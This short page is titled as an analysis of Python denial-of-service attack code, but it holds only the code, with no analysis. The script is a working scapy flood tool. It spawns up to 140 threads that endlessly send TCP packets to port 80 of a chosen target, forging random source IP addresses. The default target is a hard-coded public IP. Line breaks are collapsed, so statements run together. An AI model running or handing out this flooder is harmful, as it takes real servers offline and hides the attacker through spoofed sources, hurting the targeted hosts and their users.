分析python服务器拒绝服务攻击代码

# -*- coding: cp936 -*-from scapy.all import *from threading import Thread,activeCountfrom random import randint

class Loop(Thread):    def __init__(self,remoteAddr):        Thread.__init__(self)        self.remoteAddr = remoteAddr

    def run(self):        ip = str(randint(0,255))+'.'\             +str(randint(0,255))+'.'\             +str(randint(0,255))+'.'\             +str(randint(0,255))        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)

        class Main(Thread):    def __init__(self,remoteAddr):        Thread.__init__(self)        self.remoteAddr = remoteAddr

    def run(self):        limit = 140        total = 0        while True:            if activeCount() < limit:                Loop(remoteAddr = self.remoteAddr).start()                total = total + 1            print '目前已经进行的HttpFlood的次数为:',total

if __name__ == '__main__':    remoteAddr = raw_input('IP=')    if remoteAddr == '':        remoteAddr = '202.103.25.12'    Main(remoteAddr = remoteAddr).start()